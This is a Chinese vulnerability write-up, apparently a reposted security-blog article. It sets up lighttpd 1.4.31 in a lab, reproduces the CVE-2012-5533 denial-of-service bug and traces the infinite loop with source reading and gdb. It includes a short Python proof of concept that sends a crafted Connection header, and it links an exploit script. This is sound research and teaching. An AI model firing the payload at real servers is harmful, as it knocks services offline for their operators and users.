内容简介:预估稿费:300RMB
作者: virwolf
预估稿费:300RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
一.lighttpd域处理拒绝服务漏洞的环境搭建
1)安装lighttpd
因为此漏洞需要固定版本,因此我们需要手动安装。
wget http://download.lighttpd.net/lighttpd/releases-1.4.x/ lighttpd-1.4.31.tar.gz tar -zxvf lighttpd-1.4.31.tar.gz cd lighttpd-1.4.31
到这步时,接下来就是执行
./configure
命令,但是在这步可能会出现以下错误:
configure: error: pcre-config not found, install the pcre-devel package or bui with --without-pcre
我们需要执行:
yum install gcc glib2-devel openssl-devel pcre-devel bzip2-devel gzip-devel zlib-devel
来更新缺失的关联包
安装完毕后,继续执行
./configure make && make install
编译完毕后,执行步骤二。
2)拷贝lighttpd的执行文件
创建默认文件:
mkdir lighttpd-test cd lighttpd-test
拷贝:
cp /usr/local/sbin/lighttpd home/lighttpd-test/
3) 创建配置文件
vim lighttpd.conf
编写:
server.document-root="/var/www/" server.port = 8080 server.username = "www" server.groupname = "www" mimetype.assign = ( ".html" => "text/html", ".txt" => "text/plain", ".jpg" => "image/jpeg", ".png" => "image/png" ) static-file.exclude-extensions = ( ".fcgi", ".php", ".rb", "~", ".inc" ) index-file.names = ( "index.html" )
4)自己编写欢迎页面(index.html)
vim /var/www/index.html
<html> <head><title>Hello</title></head> <body> <h1>This is a test</h1> </body> </html>
5)开启防火墙,启动lighttpd服务
开启防火墙:
iptables -I INPUT -p tcp --dport 8080 -j ACCEPT
启动服务:
./lighttpd -f lighttpd.conf
注意:启动服务这里 必须是绝对路径 ,也可自己去添加下环境变量(这里的路径是home/lighttpd-test/)。
启动完后显示server started。
接下来,可以进入浏览器测试了:
http://127.0.0.1:8080
OK,加载后就会显示我们自己编写的欢迎页面。
二.lighttpd拒绝服务漏洞原理及复现
1)原理:漏洞描述:CVE(CAN) ID: CVE-2012-5533
lighttpd是一款开源的轻量级Web服务器。
lighttpd 1.4.31在处理某些HTTP请求头时,"http_request_split_value()"函数(src/request.c)在处理特制的"Connection"报头域时会陷入无限循环。攻击者利用此漏洞可导致Lighttpd拒绝服务。
2)漏洞复现
漏洞脚本: https://www.exploit-db.com/exploits/22902/
此脚本为bash脚本,需要改下权限:
在脚本目录下执行命令:
chmod +x test.sh
然后执行:
./test.sh
好的,执行成功。
附带 python 脚本:
#encoding: utf-8 import socket if __name__ == '__main__': sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('192.**.**.**',8080)) sock.send(b'GET/HTTP/1.1\r\nHost: pwn.ed\r\nConnection: TE,,Keep-Alive\r\n\r\n') sock.close() print('ok')
注释:
命令:
ps aux | grep "light*"
查看lighttpd服务的进程信息。
top
查看任务管理器
kill -9 PID
杀死某进程
三、动、静结合跟踪漏洞呈现原因
前面我们已知造成漏洞的函数是(src/request.c)里面的" http_request_split_value() "函数,因此我们先找到这个函数位置,在这里我直接将这个函数剪切出来了:
让我们来仔细看看标红的代码,开始进入函数时b肯定是有值的,所以,会进入for循环,起初state为0,所以会进入case 0,然而,咱们仔细看下,其实case 0里面的for循环是没有被执行的。因此在case 0里,直接state=1;break;跳出switch..case。继续for循环,这时state=1,所以进入case 1中,start=s,然后,这里面for函数里条件不等于‘,’时,i++,然后进入if语句,if语句中条件就是start=s,执行break,因此,又继续for循环,state=1,进入case 1中。
有人说,即使进行for循环,也是有结束的时候啊,那么我们仔细看下第一个for循环,里面i值,其实是根据漏洞利用脚本发送数据而判定的,漏洞脚本里面‘,’前面只有两个字节,所以当等于‘,’时是没有变动的,因此,造成了死循环。
那么,接下来,使用gdb调试器动态调试来验证一下,是不是如我们所说的那样。
运行漏洞利用脚本后,使用命令
gdb -p <PID>
进入gdb
调试状态:
如图,直接断在了switch 函数这里,继续跟踪
如图,可看出它一直在循环。那么让我们检测下,其中的变量值
这些变量值是没有变的,所以可以确定造成死循环的原因就是i值没有变过 从而无限陷入for循环造成拒绝服务攻击。
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4301.html
以上所述就是小编给大家介绍的《【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 漏洞分析:OpenSSH用户枚举漏洞(CVE-2018-15473)分析
- 【漏洞分析】CouchDB漏洞(CVE–2017–12635, CVE–2017–12636)分析
- 漏洞分析:对CVE-2018-8587(Microsoft Outlook)漏洞的深入分析
- 路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析
- Weblogic IIOP反序列化漏洞(CVE-2020-2551) 漏洞分析
- 【漏洞分析】Joomla!3.7.0 Core SQL注入漏洞详细分析(含PoC)
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。